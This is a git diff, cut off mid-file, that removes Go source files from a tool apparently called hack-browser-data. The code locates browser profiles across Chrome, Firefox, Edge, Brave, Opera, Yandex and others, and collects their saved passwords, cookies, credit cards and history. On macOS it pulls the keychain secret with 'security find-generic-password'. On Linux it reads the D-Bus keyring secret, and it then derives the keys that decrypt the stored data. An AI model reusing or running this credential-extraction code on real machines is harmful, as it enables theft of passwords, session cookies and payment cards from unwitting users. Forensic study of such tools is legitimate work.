parent
c2bc33e2fe
commit
2689371812
@ -1,374 +0,0 @@ |
|||||||
package core |
|
||||||
|
|
||||||
import ( |
|
||||||
"errors" |
|
||||||
"fmt" |
|
||||||
"os" |
|
||||||
"path/filepath" |
|
||||||
"strings" |
|
||||||
|
|
||||||
"hack-browser-data/core/data" |
|
||||||
"hack-browser-data/internal/log" |
|
||||||
) |
|
||||||
|
|
||||||
const ( |
|
||||||
chromeName = "Chrome" |
|
||||||
chromeBetaName = "Chrome Beta" |
|
||||||
chromiumName = "Chromium" |
|
||||||
edgeName = "Microsoft Edge" |
|
||||||
firefoxName = "Firefox" |
|
||||||
firefoxBetaName = "Firefox Beta" |
|
||||||
firefoxDevName = "Firefox Dev" |
|
||||||
firefoxNightlyName = "Firefox Nightly" |
|
||||||
firefoxESRName = "Firefox ESR" |
|
||||||
speed360Name = "360speed" |
|
||||||
qqBrowserName = "qq" |
|
||||||
braveName = "Brave" |
|
||||||
operaName = "Opera" |
|
||||||
operaGXName = "OperaGX" |
|
||||||
vivaldiName = "Vivaldi" |
|
||||||
coccocName = "CocCoc" |
|
||||||
yandexName = "Yandex" |
|
||||||
) |
|
||||||
|
|
||||||
type Browser interface { |
|
||||||
// InitSecretKey is init chrome secret key, firefox's key always empty
|
|
||||||
InitSecretKey() error |
|
||||||
|
|
||||||
// GetName return browser name
|
|
||||||
GetName() string |
|
||||||
|
|
||||||
// GetSecretKey return browser secret key
|
|
||||||
GetSecretKey() []byte |
|
||||||
|
|
||||||
// GetAllItems return all items (password|bookmark|cookie|history)
|
|
||||||
GetAllItems() ([]data.Item, error) |
|
||||||
|
|
||||||
// GetItem return single one from the password|bookmark|cookie|history
|
|
||||||
GetItem(itemName string) (data.Item, error) |
|
||||||
} |
|
||||||
|
|
||||||
const ( |
|
||||||
cookie = "cookie" |
|
||||||
history = "history" |
|
||||||
bookmark = "bookmark" |
|
||||||
download = "download" |
|
||||||
password = "password" |
|
||||||
creditcard = "creditcard" |
|
||||||
) |
|
||||||
|
|
||||||
var ( |
|
||||||
errItemNotSupported = errors.New(`item not supported, default is "all", choose from history|download|password|bookmark|cookie`) |
|
||||||
errBrowserNotSupported = errors.New("browser not supported") |
|
||||||
errChromeSecretIsEmpty = errors.New("chrome secret is empty") |
|
||||||
errDbusSecretIsEmpty = errors.New("dbus secret key is empty") |
|
||||||
) |
|
||||||
|
|
||||||
var ( |
|
||||||
chromiumItems = map[string]struct { |
|
||||||
mainFile string |
|
||||||
newItem func(mainFile, subFile string) data.Item |
|
||||||
}{ |
|
||||||
bookmark: { |
|
||||||
mainFile: data.ChromeBookmarkFile, |
|
||||||
newItem: data.NewBookmarks, |
|
||||||
}, |
|
||||||
cookie: { |
|
||||||
mainFile: data.ChromeCookieFile, |
|
||||||
newItem: data.NewCookies, |
|
||||||
}, |
|
||||||
history: { |
|
||||||
mainFile: data.ChromeHistoryFile, |
|
||||||
newItem: data.NewHistoryData, |
|
||||||
}, |
|
||||||
download: { |
|
||||||
mainFile: data.ChromeDownloadFile, |
|
||||||
newItem: data.NewDownloads, |
|
||||||
}, |
|
||||||
password: { |
|
||||||
mainFile: data.ChromePasswordFile, |
|
||||||
newItem: data.NewCPasswords, |
|
||||||
}, |
|
||||||
creditcard: { |
|
||||||
mainFile: data.ChromeCreditFile, |
|
||||||
newItem: data.NewCCards, |
|
||||||
}, |
|
||||||
} |
|
||||||
firefoxItems = map[string]struct { |
|
||||||
mainFile string |
|
||||||
subFile string |
|
||||||
newItem func(mainFile, subFile string) data.Item |
|
||||||
}{ |
|
||||||
bookmark: { |
|
||||||
mainFile: data.FirefoxDataFile, |
|
||||||
newItem: data.NewBookmarks, |
|
||||||
}, |
|
||||||
cookie: { |
|
||||||
mainFile: data.FirefoxCookieFile, |
|
||||||
newItem: data.NewCookies, |
|
||||||
}, |
|
||||||
history: { |
|
||||||
mainFile: data.FirefoxDataFile, |
|
||||||
newItem: data.NewHistoryData, |
|
||||||
}, |
|
||||||
download: { |
|
||||||
mainFile: data.FirefoxDataFile, |
|
||||||
newItem: data.NewDownloads, |
|
||||||
}, |
|
||||||
password: { |
|
||||||
mainFile: data.FirefoxKey4File, |
|
||||||
subFile: data.FirefoxLoginFile, |
|
||||||
newItem: data.NewFPasswords, |
|
||||||
}, |
|
||||||
} |
|
||||||
) |
|
||||||
|
|
||||||
type Chromium struct { |
|
||||||
name string |
|
||||||
profilePath string |
|
||||||
keyPath string |
|
||||||
storage string // storage use for linux and macOS, get secret key
|
|
||||||
secretKey []byte |
|
||||||
} |
|
||||||
|
|
||||||
// NewChromium return Chromium browser interface
|
|
||||||
func NewChromium(profile, key, name, storage string) (Browser, error) { |
|
||||||
return &Chromium{profilePath: profile, keyPath: key, name: name, storage: storage}, nil |
|
||||||
} |
|
||||||
|
|
||||||
func (c *Chromium) GetName() string { |
|
||||||
return c.name |
|
||||||
} |
|
||||||
|
|
||||||
func (c *Chromium) GetSecretKey() []byte { |
|
||||||
return c.secretKey |
|
||||||
} |
|
||||||
|
|
||||||
// GetAllItems return all chromium items from browser
|
|
||||||
// if can't find the item path, log error then continue
|
|
||||||
func (c *Chromium) GetAllItems() ([]data.Item, error) { |
|
||||||
var items []data.Item |
|
||||||
for item, choice := range chromiumItems { |
|
||||||
m, err := getItemPath(c.profilePath, choice.mainFile) |
|
||||||
if err != nil { |
|
||||||
log.Debugf("%s find %s file failed, ERR:%s", c.name, item, err) |
|
||||||
continue |
|
||||||
} |
|
||||||
i := choice.newItem(m, "") |
|
||||||
log.Debugf("%s find %s File Success", c.name, item) |
|
||||||
items = append(items, i) |
|
||||||
} |
|
||||||
return items, nil |
|
||||||
} |
|
||||||
|
|
||||||
// GetItem return single item
|
|
||||||
func (c *Chromium) GetItem(itemName string) (data.Item, error) { |
|
||||||
itemName = strings.ToLower(itemName) |
|
||||||
if item, ok := chromiumItems[itemName]; ok { |
|
||||||
m, err := getItemPath(c.profilePath, item.mainFile) |
|
||||||
if err != nil { |
|
||||||
log.Debugf("%s find %s file failed, ERR:%s", c.name, item.mainFile, err) |
|
||||||
} |
|
||||||
i := item.newItem(m, "") |
|
||||||
return i, nil |
|
||||||
} else { |
|
||||||
return nil, errItemNotSupported |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
type Firefox struct { |
|
||||||
name string |
|
||||||
profilePath string |
|
||||||
keyPath string |
|
||||||
} |
|
||||||
|
|
||||||
// NewFirefox return firefox browser interface
|
|
||||||
func NewFirefox(profile, key, name, storage string) (Browser, error) { |
|
||||||
return &Firefox{profilePath: profile, keyPath: key, name: name}, nil |
|
||||||
} |
|
||||||
|
|
||||||
// GetAllItems return all item with firefox
|
|
||||||
func (f *Firefox) GetAllItems() ([]data.Item, error) { |
|
||||||
var items []data.Item |
|
||||||
for item, choice := range firefoxItems { |
|
||||||
var ( |
|
||||||
sub, main string |
|
||||||
err error |
|
||||||
) |
|
||||||
if choice.subFile != "" { |
|
||||||
sub, err = getItemPath(f.profilePath, choice.subFile) |
|
||||||
if err != nil { |
|
||||||
log.Debugf("%s find %s file failed, ERR:%s", f.name, item, err) |
|
||||||
continue |
|
||||||
} |
|
||||||
} |
|
||||||
main, err = getItemPath(f.profilePath, choice.mainFile) |
|
||||||
if err != nil { |
|
||||||
log.Debugf("%s find %s file failed, ERR:%s", f.name, item, err) |
|
||||||
continue |
|
||||||
} |
|
||||||
i := choice.newItem(main, sub) |
|
||||||
log.Debugf("%s find %s file success", f.name, item) |
|
||||||
items = append(items, i) |
|
||||||
} |
|
||||||
return items, nil |
|
||||||
} |
|
||||||
|
|
||||||
func (f *Firefox) GetItem(itemName string) (data.Item, error) { |
|
||||||
itemName = strings.ToLower(itemName) |
|
||||||
if item, ok := firefoxItems[itemName]; ok { |
|
||||||
var ( |
|
||||||
sub, main string |
|
||||||
err error |
|
||||||
) |
|
||||||
if item.subFile != "" { |
|
||||||
sub, err = getItemPath(f.profilePath, item.subFile) |
|
||||||
if err != nil { |
|
||||||
log.Debugf("%s find %s file failed, ERR:%s", f.name, item.subFile, err) |
|
||||||
} |
|
||||||
} |
|
||||||
main, err = getItemPath(f.profilePath, item.mainFile) |
|
||||||
if err != nil { |
|
||||||
log.Debugf("%s find %s file failed, ERR:%s", f.name, item.mainFile, err) |
|
||||||
} |
|
||||||
i := item.newItem(main, sub) |
|
||||||
log.Debugf("%s find %s file success", f.name, item.mainFile) |
|
||||||
return i, nil |
|
||||||
} else { |
|
||||||
return nil, errItemNotSupported |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func (f *Firefox) GetName() string { |
|
||||||
return f.name |
|
||||||
} |
|
||||||
|
|
||||||
// GetSecretKey for firefox is always nil
|
|
||||||
// this method used to implement Browser interface
|
|
||||||
func (f *Firefox) GetSecretKey() []byte { |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
// InitSecretKey for firefox is always nil
|
|
||||||
// this method used to implement Browser interface
|
|
||||||
func (f *Firefox) InitSecretKey() error { |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
// PickBrowser return a list of browser interface
|
|
||||||
func PickBrowser(name string) ([]Browser, error) { |
|
||||||
var browsers []Browser |
|
||||||
name = strings.ToLower(name) |
|
||||||
if name == "all" { |
|
||||||
for _, v := range browserList { |
|
||||||
b, err := v.New(v.ProfilePath, v.KeyPath, v.Name, v.Storage) |
|
||||||
if err != nil { |
|
||||||
log.Error(err) |
|
||||||
} |
|
||||||
browsers = append(browsers, b) |
|
||||||
} |
|
||||||
return browsers, nil |
|
||||||
} else if choice, ok := browserList[name]; ok { |
|
||||||
b, err := choice.New(choice.ProfilePath, choice.KeyPath, choice.Name, choice.Storage) |
|
||||||
browsers = append(browsers, b) |
|
||||||
return browsers, err |
|
||||||
} |
|
||||||
return nil, errBrowserNotSupported |
|
||||||
} |
|
||||||
|
|
||||||
// PickCustomBrowser pick single browser with custom browser profile path and key file path (windows only).
|
|
||||||
// If custom key file path is empty, but the current browser requires key file (chromium for windows version > 80)
|
|
||||||
// key file path will be automatically found in the profile path's parent directory.
|
|
||||||
func PickCustomBrowser(browserName, cusProfile, cusKey string) ([]Browser, error) { |
|
||||||
var ( |
|
||||||
browsers []Browser |
|
||||||
) |
|
||||||
browserName = strings.ToLower(browserName) |
|
||||||
supportBrowser := strings.Join(ListBrowser(), "|") |
|
||||||
if browserName == "all" { |
|
||||||
return nil, fmt.Errorf("can't select all browser, pick one from %s with -b flag\n", supportBrowser) |
|
||||||
} |
|
||||||
if choice, ok := browserList[browserName]; ok { |
|
||||||
// if this browser need key path
|
|
||||||
if choice.KeyPath != "" { |
|
||||||
var err error |
|
||||||
// if browser need key path and cusKey is empty, try to get key path with profile dir
|
|
||||||
if cusKey == "" { |
|
||||||
cusKey, err = getKeyPath(cusProfile) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
} |
|
||||||
if err := checkKeyPath(cusKey); err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
} |
|
||||||
b, err := choice.New(cusProfile, cusKey, choice.Name, choice.Storage) |
|
||||||
browsers = append(browsers, b) |
|
||||||
return browsers, err |
|
||||||
} else { |
|
||||||
return nil, fmt.Errorf("%s not support, pick one from %s with -b flag\n", browserName, supportBrowser) |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func getItemPath(profilePath, file string) (string, error) { |
|
||||||
p, err := filepath.Glob(filepath.Join(profilePath, file)) |
|
||||||
if err != nil { |
|
||||||
return "", err |
|
||||||
} |
|
||||||
if len(p) > 0 { |
|
||||||
return p[0], nil |
|
||||||
} |
|
||||||
return "", fmt.Errorf("find %s failed", file) |
|
||||||
} |
|
||||||
|
|
||||||
// getKeyPath try to get key file path with the browser's profile path
|
|
||||||
// default key file path is in the parent directory of the profile dir, and name is [Local State]
|
|
||||||
func getKeyPath(profilePath string) (string, error) { |
|
||||||
if _, err := os.Stat(filepath.Clean(profilePath)); os.IsNotExist(err) { |
|
||||||
return "", err |
|
||||||
} |
|
||||||
parentDir := getParentDirectory(profilePath) |
|
||||||
keyPath := filepath.Join(parentDir, "Local State") |
|
||||||
return keyPath, nil |
|
||||||
} |
|
||||||
|
|
||||||
// check key file path is exist
|
|
||||||
func checkKeyPath(keyPath string) error { |
|
||||||
if _, err := os.Stat(keyPath); os.IsNotExist(err) { |
|
||||||
return fmt.Errorf("secret key path not exist, please check %s", keyPath) |
|
||||||
} |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func getParentDirectory(dir string) string { |
|
||||||
var ( |
|
||||||
length int |
|
||||||
) |
|
||||||
// filepath.Clean(dir) auto remove
|
|
||||||
dir = strings.ReplaceAll(filepath.Clean(dir), `\`, `/`) |
|
||||||
length = strings.LastIndex(dir, "/") |
|
||||||
if length > 0 { |
|
||||||
if length > len([]rune(dir)) { |
|
||||||
length = len([]rune(dir)) |
|
||||||
} |
|
||||||
return string([]rune(dir)[:length]) |
|
||||||
} |
|
||||||
return "" |
|
||||||
} |
|
||||||
|
|
||||||
func ListBrowser() []string { |
|
||||||
var l []string |
|
||||||
for k := range browserList { |
|
||||||
l = append(l, k) |
|
||||||
} |
|
||||||
return l |
|
||||||
} |
|
||||||
|
|
||||||
func ListItem() []string { |
|
||||||
var l []string |
|
||||||
for k := range chromiumItems { |
|
||||||
l = append(l, k) |
|
||||||
} |
|
||||||
return l |
|
||||||
} |
|
@ -1,165 +0,0 @@ |
|||||||
package core |
|
||||||
|
|
||||||
import ( |
|
||||||
"bytes" |
|
||||||
"crypto/sha1" |
|
||||||
"errors" |
|
||||||
"os/exec" |
|
||||||
|
|
||||||
"golang.org/x/crypto/pbkdf2" |
|
||||||
) |
|
||||||
|
|
||||||
const ( |
|
||||||
fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release*/" |
|
||||||
fireFoxBetaProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-beta*/" |
|
||||||
fireFoxDevProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.dev-edition-default*/" |
|
||||||
fireFoxNightlyProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-nightly*/" |
|
||||||
fireFoxESRProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-esr*/" |
|
||||||
chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/" |
|
||||||
chromeBetaProfilePath = "/Users/*/Library/Application Support/Google/Chrome Beta/*/" |
|
||||||
chromiumProfilePath = "/Users/*/Library/Application Support/Chromium/*/" |
|
||||||
edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/" |
|
||||||
braveProfilePath = "/Users/*/Library/Application Support/BraveSoftware/Brave-Browser/*/" |
|
||||||
operaProfilePath = "/Users/*/Library/Application Support/com.operasoftware.Opera/" |
|
||||||
operaGXProfilePath = "/Users/*/Library/Application Support/com.operasoftware.OperaGX/" |
|
||||||
vivaldiProfilePath = "/Users/*/Library/Application Support/Vivaldi/*/" |
|
||||||
coccocProfilePath = "/Users/*/Library/Application Support/Coccoc/*/" |
|
||||||
yandexProfilePath = "/Users/*/Library/Application Support/Yandex/YandexBrowser/*/" |
|
||||||
) |
|
||||||
|
|
||||||
const ( |
|
||||||
chromeStorageName = "Chrome" |
|
||||||
chromeBetaStorageName = "Chrome" |
|
||||||
chromiumStorageName = "Chromium" |
|
||||||
edgeStorageName = "Microsoft Edge" |
|
||||||
braveStorageName = "Brave" |
|
||||||
operaStorageName = "Opera" |
|
||||||
vivaldiStorageName = "Vivaldi" |
|
||||||
coccocStorageName = "CocCoc" |
|
||||||
yandexStorageName = "Yandex" |
|
||||||
) |
|
||||||
|
|
||||||
var ( |
|
||||||
browserList = map[string]struct { |
|
||||||
ProfilePath string |
|
||||||
Name string |
|
||||||
KeyPath string |
|
||||||
Storage string |
|
||||||
New func(profile, key, name, storage string) (Browser, error) |
|
||||||
}{ |
|
||||||
"firefox": { |
|
||||||
ProfilePath: fireFoxProfilePath, |
|
||||||
Name: firefoxName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"firefox-beta": { |
|
||||||
ProfilePath: fireFoxBetaProfilePath, |
|
||||||
Name: firefoxBetaName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"firefox-dev": { |
|
||||||
ProfilePath: fireFoxDevProfilePath, |
|
||||||
Name: firefoxDevName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"firefox-nightly": { |
|
||||||
ProfilePath: fireFoxNightlyProfilePath, |
|
||||||
Name: firefoxNightlyName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"firefox-esr": { |
|
||||||
ProfilePath: fireFoxESRProfilePath, |
|
||||||
Name: firefoxESRName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"chrome": { |
|
||||||
ProfilePath: chromeProfilePath, |
|
||||||
Name: chromeName, |
|
||||||
Storage: chromeStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"chromium": { |
|
||||||
ProfilePath: chromiumProfilePath, |
|
||||||
Name: chromiumName, |
|
||||||
Storage: chromiumStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"edge": { |
|
||||||
ProfilePath: edgeProfilePath, |
|
||||||
Name: edgeName, |
|
||||||
Storage: edgeStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"brave": { |
|
||||||
ProfilePath: braveProfilePath, |
|
||||||
Name: braveName, |
|
||||||
Storage: braveStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"chrome-beta": { |
|
||||||
ProfilePath: chromeBetaProfilePath, |
|
||||||
Name: chromeBetaName, |
|
||||||
Storage: chromeBetaStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"opera": { |
|
||||||
ProfilePath: operaProfilePath, |
|
||||||
Name: operaName, |
|
||||||
Storage: operaStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"opera-gx": { |
|
||||||
ProfilePath: operaGXProfilePath, |
|
||||||
Name: operaGXName, |
|
||||||
Storage: operaStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"vivaldi": { |
|
||||||
ProfilePath: vivaldiProfilePath, |
|
||||||
Name: vivaldiName, |
|
||||||
Storage: vivaldiStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"coccoc": { |
|
||||||
ProfilePath: coccocProfilePath, |
|
||||||
Name: coccocName, |
|
||||||
Storage: coccocStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"yandex": { |
|
||||||
ProfilePath: yandexProfilePath, |
|
||||||
Name: yandexName, |
|
||||||
Storage: yandexStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
} |
|
||||||
) |
|
||||||
|
|
||||||
func (c *Chromium) InitSecretKey() error { |
|
||||||
var ( |
|
||||||
cmd *exec.Cmd |
|
||||||
stdout, stderr bytes.Buffer |
|
||||||
) |
|
||||||
// ➜ security find-generic-password -wa 'Chrome'
|
|
||||||
cmd = exec.Command("security", "find-generic-password", "-wa", c.storage) |
|
||||||
cmd.Stdout = &stdout |
|
||||||
cmd.Stderr = &stderr |
|
||||||
err := cmd.Run() |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
if stderr.Len() > 0 { |
|
||||||
err = errors.New(stderr.String()) |
|
||||||
return err |
|
||||||
} |
|
||||||
temp := stdout.Bytes() |
|
||||||
chromeSecret := temp[:len(temp)-1] |
|
||||||
if chromeSecret == nil { |
|
||||||
return errChromeSecretIsEmpty |
|
||||||
} |
|
||||||
var chromeSalt = []byte("saltysalt") |
|
||||||
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
|
|
||||||
key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) |
|
||||||
c.secretKey = key |
|
||||||
return nil |
|
||||||
} |
|
@ -1,167 +0,0 @@ |
|||||||
package core |
|
||||||
|
|
||||||
import ( |
|
||||||
"crypto/sha1" |
|
||||||
|
|
||||||
"github.com/godbus/dbus/v5" |
|
||||||
keyring "github.com/ppacher/go-dbus-keyring" |
|
||||||
"golang.org/x/crypto/pbkdf2" |
|
||||||
|
|
||||||
"hack-browser-data/internal/log" |
|
||||||
) |
|
||||||
|
|
||||||
const ( |
|
||||||
fireFoxProfilePath = "/home/*/.mozilla/firefox/*.default-release*/" |
|
||||||
fireFoxBetaProfilePath = "/home/*/.mozilla/firefox/*.default-beta*/" |
|
||||||
fireFoxDevProfilePath = "/home/*/.mozilla/firefox/*.dev-edition-default*/" |
|
||||||
fireFoxNightlyProfilePath = "/home/*/.mozilla/firefox/*.default-nightly*/" |
|
||||||
fireFoxESRProfilePath = "/home/*/.mozilla/firefox/*.default-esr*/" |
|
||||||
chromeProfilePath = "/home/*/.config/google-chrome/*/" |
|
||||||
chromiumProfilePath = "/home/*/.config/chromium/*/" |
|
||||||
edgeProfilePath = "/home/*/.config/microsoft-edge*/*/" |
|
||||||
braveProfilePath = "/home/*/.config/BraveSoftware/Brave-Browser/*/" |
|
||||||
chromeBetaProfilePath = "/home/*/.config/google-chrome-beta/*/" |
|
||||||
operaProfilePath = "/home/*/.config/opera/" |
|
||||||
vivaldiProfilePath = "/home/*/.config/vivaldi/*/" |
|
||||||
) |
|
||||||
|
|
||||||
const ( |
|
||||||
chromeStorageName = "Chrome Safe Storage" |
|
||||||
chromiumStorageName = "Chromium Safe Storage" |
|
||||||
edgeStorageName = "Chromium Safe Storage" |
|
||||||
braveStorageName = "Brave Safe Storage" |
|
||||||
chromeBetaStorageName = "Chrome Safe Storage" |
|
||||||
operaStorageName = "Chromium Safe Storage" |
|
||||||
vivaldiStorageName = "Chrome Safe Storage" |
|
||||||
) |
|
||||||
|
|
||||||
var ( |
|
||||||
browserList = map[string]struct { |
|
||||||
ProfilePath string |
|
||||||
Name string |
|
||||||
KeyPath string |
|
||||||
Storage string |
|
||||||
New func(profile, key, name, storage string) (Browser, error) |
|
||||||
}{ |
|
||||||
"firefox": { |
|
||||||
ProfilePath: fireFoxProfilePath, |
|
||||||
Name: firefoxName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"firefox-beta": { |
|
||||||
ProfilePath: fireFoxBetaProfilePath, |
|
||||||
Name: firefoxBetaName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"firefox-dev": { |
|
||||||
ProfilePath: fireFoxDevProfilePath, |
|
||||||
Name: firefoxDevName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"firefox-nightly": { |
|
||||||
ProfilePath: fireFoxNightlyProfilePath, |
|
||||||
Name: firefoxNightlyName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"firefox-esr": { |
|
||||||
ProfilePath: fireFoxESRProfilePath, |
|
||||||
Name: firefoxESRName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"chrome": { |
|
||||||
ProfilePath: chromeProfilePath, |
|
||||||
Name: chromeName, |
|
||||||
Storage: chromeStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"edge": { |
|
||||||
ProfilePath: edgeProfilePath, |
|
||||||
Name: edgeName, |
|
||||||
Storage: edgeStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"brave": { |
|
||||||
ProfilePath: braveProfilePath, |
|
||||||
Name: braveName, |
|
||||||
Storage: braveStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"chrome-beta": { |
|
||||||
ProfilePath: chromeBetaProfilePath, |
|
||||||
Name: chromeBetaName, |
|
||||||
Storage: chromeBetaStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"chromium": { |
|
||||||
ProfilePath: chromiumProfilePath, |
|
||||||
Name: chromiumName, |
|
||||||
Storage: chromiumStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"opera": { |
|
||||||
ProfilePath: operaProfilePath, |
|
||||||
Name: operaName, |
|
||||||
Storage: operaStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"vivaldi": { |
|
||||||
ProfilePath: vivaldiProfilePath, |
|
||||||
Name: vivaldiName, |
|
||||||
Storage: vivaldiStorageName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
} |
|
||||||
) |
|
||||||
|
|
||||||
func (c *Chromium) InitSecretKey() error { |
|
||||||
// what is d-bus @https://dbus.freedesktop.org/
|
|
||||||
var chromeSecret []byte |
|
||||||
conn, err := dbus.SessionBus() |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
svc, err := keyring.GetSecretService(conn) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
session, err := svc.OpenSession() |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
defer func() { |
|
||||||
session.Close() |
|
||||||
}() |
|
||||||
collections, err := svc.GetAllCollections() |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
for _, col := range collections { |
|
||||||
items, err := col.GetAllItems() |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
for _, item := range items { |
|
||||||
label, err := item.GetLabel() |
|
||||||
if err != nil { |
|
||||||
log.Error(err) |
|
||||||
continue |
|
||||||
} |
|
||||||
if label == c.storage { |
|
||||||
se, err := item.GetSecret(session.Path()) |
|
||||||
if err != nil { |
|
||||||
log.Error(err) |
|
||||||
return err |
|
||||||
} |
|
||||||
chromeSecret = se.Value |
|
||||||
} |
|
||||||
} |
|
||||||
} |
|
||||||
if chromeSecret == nil { |
|
||||||
return errDbusSecretIsEmpty |
|
||||||
} |
|
||||||
var chromeSalt = []byte("saltysalt") |
|
||||||
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc
|
|
||||||
key := pbkdf2.Key(chromeSecret, chromeSalt, 1, 16, sha1.New) |
|
||||||
c.secretKey = key |
|
||||||
return nil |
|
||||||
} |
|
@ -1,178 +0,0 @@ |
|||||||
package core |
|
||||||
|
|
||||||
import ( |
|
||||||
"encoding/base64" |
|
||||||
"errors" |
|
||||||
"fmt" |
|
||||||
"os" |
|
||||||
|
|
||||||
"hack-browser-data/core/decrypt" |
|
||||||
"hack-browser-data/internal/utils" |
|
||||||
|
|
||||||
"github.com/tidwall/gjson" |
|
||||||
) |
|
||||||
|
|
||||||
const ( |
|
||||||
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release*/" |
|
||||||
fireFoxBetaProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-beta*/" |
|
||||||
fireFoxDevProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.dev-edition-default*/" |
|
||||||
fireFoxNightlyProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-nightly*/" |
|
||||||
fireFoxESRProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-esr*/" |
|
||||||
chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/*/" |
|
||||||
chromeKeyPath = "/AppData/Local/Google/Chrome/User Data/Local State" |
|
||||||
chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/*/" |
|
||||||
chromeBetaKeyPath = "/AppData/Local/Google/Chrome Beta/User Data/Local State" |
|
||||||
chromiumProfilePath = "/AppData/Local/Chromium/User Data/*/" |
|
||||||
chromiumKeyPath = "/AppData/Local/Chromium/User Data/Local State" |
|
||||||
edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/*/" |
|
||||||
edgeKeyPath = "/AppData/Local/Microsoft/Edge/User Data/Local State" |
|
||||||
braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/*/" |
|
||||||
braveKeyPath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Local State" |
|
||||||
speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/*/" |
|
||||||
qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/" |
|
||||||
operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/" |
|
||||||
operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State" |
|
||||||
operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/" |
|
||||||
operaGXKeyPath = "/AppData/Roaming/Opera Software/Opera GX Stable/Local State" |
|
||||||
vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/" |
|
||||||
vivaldiKeyPath = "/AppData/Local/Vivaldi/Local State" |
|
||||||
coccocProfilePath = "/AppData/Local/CocCoc/Browser/User Data/Default/" |
|
||||||
coccocKeyPath = "/AppData/Local/CocCoc/Browser/Local State" |
|
||||||
yandexProfilePath = "/AppData/Local/Yandex/YandexBrowser/User Data/Default" |
|
||||||
yandexKeyPath = "/AppData/Local/Yandex/YandexBrowser/Local State" |
|
||||||
) |
|
||||||
|
|
||||||
var ( |
|
||||||
browserList = map[string]struct { |
|
||||||
ProfilePath string |
|
||||||
Name string |
|
||||||
KeyPath string |
|
||||||
Storage string |
|
||||||
New func(profile, key, name, storage string) (Browser, error) |
|
||||||
}{ |
|
||||||
"firefox": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath, |
|
||||||
Name: firefoxName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"firefox-beta": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + fireFoxBetaProfilePath, |
|
||||||
Name: firefoxBetaName, |
|
